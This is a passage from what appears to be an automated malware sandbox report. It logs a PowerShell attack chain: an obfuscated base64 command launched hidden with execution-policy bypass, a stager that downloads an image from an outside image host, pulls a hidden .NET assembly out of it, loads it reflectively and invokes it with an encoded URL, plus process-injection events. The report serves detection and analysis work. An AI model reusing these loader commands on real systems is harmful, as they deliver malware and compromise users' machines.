PzXsYGNGEPzXsYGNcgB0PzXsYGNEYPzXsYGNbPzXsYGNBhPzXsYGNGcPzXsYGNIPzXsYGNPzXsYGN9PzXsYGNCPzXsYGNPzXsYGNJwPzXsYGN8PzXsYGNDwPzXsYGNQgBBPzXsYGNFMPzXsYGNRQPzXsYGN2PzXsYGNDQPzXsYGNXwBTPzXsYGNFQPzXsYGNQQBSPzXsYGNFQPzXsYGNPgPzXsYGN+PzXsYGNCcPzXsYGNOwPzXsYGNkPzXsYGNGUPzXsYGNbgBkPzXsYGNEYPzXsYGNbPzXsYGNBhPzXsYGNGcPzXsYGNIPzXsYGNPzXsYGN9PzXsYGNCPzXsYGNPzXsYGNJwPzXsYGN8PzXsYGNDwPzXsYGNQgBBPzXsYGNFMPzXsYGNRQPzXsYGN2PzXsYGNDQPzXsYGNXwBFPzXsYGNE4PzXsYGNRPzXsYGNPzXsYGN+PzXsYGND4PzXsYGNJwPzXsYGN7PzXsYGNCQPzXsYGNcwB0PzXsYGNGEPzXsYGNcgB0PzXsYGNEkPzXsYGNbgBkPzXsYGNGUPzXsYGNePzXsYGNPzXsYGNgPzXsYGND0PzXsYGNIPzXsYGNPzXsYGNkPzXsYGNGkPzXsYGNbQBhPzXsYGNGcPzXsYGNZQBUPzXsYGNGUPzXsYGNePzXsYGNB0PzXsYGNC4PzXsYGNSQBuPzXsYGNGQPzXsYGNZQB4PzXsYGNE8PzXsYGNZgPzXsYGNoPzXsYGNCQPzXsYGNcwB0PzXsYGNGEPzXsYGNcgB0PzXsYGNEYPzXsYGNbPzXsYGNBhPzXsYGNGcPzXsYGNKQPzXsYGN7PzXsYGNCQPzXsYGNZQBuPzXsYGNGQPzXsYGNSQBuPzXsYGNGQPzXsYGNZQB4PzXsYGNCPzXsYGNPzXsYGNPQPzXsYGNgPzXsYGNCQPzXsYGNaQBtPzXsYGNGEPzXsYGNZwBlPzXsYGNFQPzXsYGNZQB4PzXsYGNHQPzXsYGNLgBJPzXsYGNG4PzXsYGNZPzXsYGNBlPzXsYGNHgPzXsYGNTwBmPzXsYGNCgPzXsYGNJPzXsYGNBlPzXsYGNG4PzXsYGNZPzXsYGNBGPzXsYGNGwPzXsYGNYQBnPzXsYGNCkPzXsYGNOwPzXsYGNkPzXsYGNHMPzXsYGNdPzXsYGNBhPzXsYGNHIPzXsYGNdPzXsYGNBJPzXsYGNG4PzXsYGNZPzXsYGNBlPzXsYGNHgPzXsYGNIPzXsYGNPzXsYGNtPzXsYGNGcPzXsYGNZQPzXsYGNgPzXsYGNDPzXsYGNPzXsYGNIPzXsYGNPzXsYGNtPzXsYGNGEPzXsYGNbgBkPzXsYGNCPzXsYGNPzXsYGNJPzXsYGNBlPzXsYGNG4PzXsYGNZPzXsYGNBJPzXsYGNG4PzXsYGNZPzXsYGNBlPzXsYGNHgPzXsYGNIPzXsYGNPzXsYGNtPzXsYGNGcPzXsYGNdPzXsYGNPzXsYGNgPzXsYGNCQPzXsYGNcwB0PzXsYGNGEPzXsYGNcgB0PzXsYGNEkPzXsYGNbgBkPzXsYGNGUPzXsYGNePzXsYGNPzXsYGN7PzXsYGNCQPzXsYGNcwB0PzXsYGNGEPzXsYGNcgB0PzXsYGNEkPzXsYGNbgBkPzXsYGNGUPzXsYGNePzXsYGNPzXsYGNgPzXsYGNCsPzXsYGNPQPzXsYGNgPzXsYGNCQPzXsYGNcwB0PzXsYGNGEPzXsYGNcgB0PzXsYGNEYPzXsYGNbPzXsYGNBhPzXsYGNGcPzXsYGNLgBMPzXsYGNGUPzXsYGNbgBnPzXsYGNHQPzXsYGNaPzXsYGNPzXsYGN7PzXsYGNCQPzXsYGNYgBhPzXsYGNHMPzXsYGNZQPzXsYGN2PzXsYGNDQPzXsYGNTPzXsYGNBlPzXsYGNG4PzXsYGNZwB0PzXsYGNGgPzXsYGNIPzXsYGNPzXsYGN9PzXsYGNCPzXsYGNPzXsYGNJPzXsYGNBlPzXsYGNG4PzXsYGNZPzXsYGNBJPzXsYGNG4PzXsYGNZPzXsYGNBlPzXsYGNHgPzXsYGNIPzXsYGNPzXsYGNtPzXsYGNCPzXsYGNPzXsYGNJPzXsYGNBzPzXsYGNHQPzXsYGNYQByPzXsYGNHQPzXsYGNSQBuPzXsYGNGQPzXsYGNZQB4PzXsYGNDsPzXsYGNJPzXsYGNBiPzXsYGNGEPzXsYGNcwBlPzXsYGNDYPzXsYGNNPzXsYGNBDPzXsYGNG8PzXsYGNbQBtPzXsYGNGEPzXsYGNbgBkPzXsYGNCPzXsYGNPzXsYGNPQPzXsYGNgPzXsYGNCQPzXsYGNaQBtPzXsYGNGEPzXsYGNZwBlPzXsYGNFQPzXsYGNZQB4PzXsYGNHQPzXsYGNLgBTPzXsYGNHUPzXsYGNYgBzPzXsYGNHQPzXsYGNcgBpPzXsYGNG4PzXsYGNZwPzXsYGNoPzXsYGNCQPzXsYGNcwB0PzXsYGNGEPzXsYGNcgB0PzXsYGNEkPzXsYGNbgBkPzXsYGNGUPzXsYGNePzXsYGNPzXsYGNsPzXsYGNCPzXsYGNPzXsYGNJPzXsYGNBiPzXsYGNGEPzXsYGNcwBlPzXsYGNDYPzXsYGNNPzXsYGNBMPzXsYGNGUPzXsYGNbgBnPzXsYGNHQPzXsYGNaPzXsYGNPzXsYGNpPzXsYGNDsPzXsYGNJPzXsYGNBjPzXsYGNG8PzXsYGNbQBtPzXsYGNGEPzXsYGNbgBkPzXsYGNEIPzXsYGNeQB0PzXsYGNGUPzXsYGNcwPzXsYGNgPzXsYGND0PzXsYGNIPzXsYGNBbPzXsYGNFMPzXsYGNeQBzPzXsYGNHQPzXsYGNZQBtPzXsYGNC4PzXsYGNQwBvPzXsYGNG4PzXsYGNdgBlPzXsYGNHIPzXsYGNdPzXsYGNBdPzXsYGNDoPzXsYGNOgBGPzXsYGNHIPzXsYGNbwBtPzXsYGNEIPzXsYGNYQBzPzXsYGNGUPzXsYGNNgPzXsYGN0PzXsYGNFMPzXsYGNdPzXsYGNByPzXsYGNGkPzXsYGNbgBnPzXsYGNCgPzXsYGNJPzXsYGNBiPzXsYGNGEPzXsYGNcwBlPzXsYGNDYPzXsYGNNPzXsYGNBDPzXsYGNG8PzXsYGNbQBtPzXsYGNGEPzXsYGNbgBkPzXsYGNCkPzXsYGNOwPzXsYGNkPzXsYGNGwPzXsYGNbwBhPzXsYGNGQPzXsYGNZQBkPzXsYGNEEPzXsYGNcwBzPzXsYGNGUPzXsYGNbQBiPzXsYGNGwPzXsYGNeQPzXsYGNgPzXsYGND0PzXsYGNIPzXsYGNBbPzXsYGNFMPzXsYGNeQBzPzXsYGNHQPzXsYGNZQBtPzXsYGNC4PzXsYGNUgBlPzXsYGNGYPzXsYGNbPzXsYGNBlPzXsYGNGMPzXsYGNdPzXsYGNBpPzXsYGNG8PzXsYGNbgPzXsYGNuPzXsYGNEEPzXsYGNcwBzPzXsYGNGUPzXsYGNbQBiPzXsYGNGwPzXsYGNeQBdPzXsYGNDoPzXsYGNOgBMPzXsYGNG8PzXsYGNYQBkPzXsYGNCgPzXsYGNJPzXsYGNBjPzXsYGNG8PzXsYGNbQBtPzXsYGNGEPzXsYGNbgBkPzXsYGNEIPzXsYGNeQB0PzXsYGNGUPzXsYGNcwPzXsYGNpPzXsYGNDsPzXsYGNJPzXsYGNB0PzXsYGNHkPzXsYGNcPzXsYGNBlPzXsYGNCPzXsYGNPzXsYGNPQPzXsYGNgPzXsYGNCQPzXsYGNbPzXsYGNBvPzXsYGNGEPzXsYGNZPzXsYGNBlPzXsYGNGQPzXsYGNQQBzPzXsYGNHMPzXsYGNZQBtPzXsYGNGIPzXsYGNbPzXsYGNB5PzXsYGNC4PzXsYGNRwBlPzXsYGNHQPzXsYGNVPzXsYGNB5PzXsYGNHPzXsYGNPzXsYGNZQPzXsYGNoPzXsYGNCcPzXsYGNRgBpPzXsYGNGIPzXsYGNZQByPzXsYGNC4PzXsYGNSPzXsYGNBvPzXsYGNG0PzXsYGNZQPzXsYGNnPzXsYGNCkPzXsYGNOwPzXsYGNkPzXsYGNG0PzXsYGNZQB0PzXsYGNGgPzXsYGNbwBkPzXsYGNCPzXsYGNPzXsYGNPQPzXsYGNgPzXsYGNCQPzXsYGNdPzXsYGNB5PzXsYGNHPzXsYGNPzXsYGNZQPzXsYGNuPzXsYGNEcPzXsYGNZQB0PzXsYGNE0PzXsYGNZQB0PzXsYGNGgPzXsYGNbwBkPzXsYGNCgPzXsYGNJwBWPzXsYGNEEPzXsYGNSQPzXsYGNnPzXsYGNCkPzXsYGNLgBJPzXsYGNG4PzXsYGNdgBvPzXsYGNGsPzXsYGNZQPzXsYGNoPzXsYGNCQPzXsYGNbgB1PzXsYGNGwPzXsYGNbPzXsYGNPzXsYGNsPzXsYGNCPzXsYGNPzXsYGNWwBvPzXsYGNGIPzXsYGNagBlPzXsYGNGMPzXsYGNdPzXsYGNBbPzXsYGNF0PzXsYGNXQPzXsYGNgPzXsYGNCgPzXsYGNJwBkPzXsYGNEgPzXsYGNaPzXsYGNPzXsYGNwPzXsYGNEwPzXsYGNbQPzXsYGN5PzXsYGNGgPzXsYGNYgBHPzXsYGNGwPzXsYGNbwBjPzXsYGNDIPzXsYGNRgB0PzXsYGNEwPzXsYGNegBFPzXsYGNHkPzXsYGNTQBTPzXsYGNDQPzXsYGNMwBNPzXsYGNGkPzXsYGNNPzXsYGNPzXsYGNwPzXsYGNE0PzXsYGNVPzXsYGNBJPzXsYGNHUPzXsYGNTgBUPzXsYGNGsPzXsYGNdgBMPzXsYGNHoPzXsYGNcPzXsYGNB3PzXsYGNGQPzXsYGNSPzXsYGNBSPzXsYGNG8PzXsYGNJwPzXsYGNgPzXsYGNCwPzXsYGNIPzXsYGNPzXsYGNnPzXsYGNGQPzXsYGNZgBkPzXsYGNGYPzXsYGNZPzXsYGNPzXsYGNnPzXsYGNCPzXsYGNPzXsYGNLPzXsYGNPzXsYGNgPzXsYGNCcPzXsYGNZPzXsYGNBmPzXsYGNGQPzXsYGNZgPzXsYGNnPzXsYGNCPzXsYGNPzXsYGNLPzXsYGNPzXsYGNgPzXsYGNCcPzXsYGNZPzXsYGNBmPzXsYGNGQPzXsYGNZgPzXsYGNnPzXsYGNCPzXsYGNPzXsYGNLPzXsYGNPzXsYGNgPzXsYGNCcPzXsYGNZPzXsYGNBhPzXsYGNGQPzXsYGNcwBhPzXsYGNCcPzXsYGNIPzXsYGNPzXsYGNsPzXsYGNCPzXsYGNPzXsYGNJwBkPzXsYGNGUPzXsYGNJwPzXsYGNgPzXsYGNCwPzXsYGNIPzXsYGNPzXsYGNnPzXsYGNGMPzXsYGNdQPzXsYGNnPzXsYGNCkPzXsYGNKQPzXsYGN=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('PzXsYGN','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process	powershell.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lm9hbGloc2FtLzEyMS43Mi40MTIuNTkvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2768 resumed a thread in remote process 2996
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x0000033c suspend_count: 1 process_identifier: 2996	1	0	0

Creates a suspicious Powershell process (9 events)

option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window

Executed a process and injected code into it, probably while unpacking (28 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Oct. 24, 2023, 9:38 a.m.	thread_identifier: 2632 thread_handle: 0x000002e8 process_identifier: 2628 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('PzXsYGN','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000002f0	1	1
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x00000298 suspend_count: 1 process_identifier: 2628	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x000002ec suspend_count: 1 process_identifier: 2628	1	0
NtResumeThread Oct. 24, 2023, 9:38 a.m.	thread_handle: 0x00000448 suspend_count: 1 process_identifier: 2628	1	0
CreateProcessInternalW Oct. 24, 2023, 9:38 a.m.	thread_identifier: 2772 thread_handle: 0x0000044c process_identifier: 2768 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/ws8MAJ6eptiLfGu_1697738492.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0Lm9hbGloc2FtLzEyMS43Mi40MTIuNTkvLzpwdHRo' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 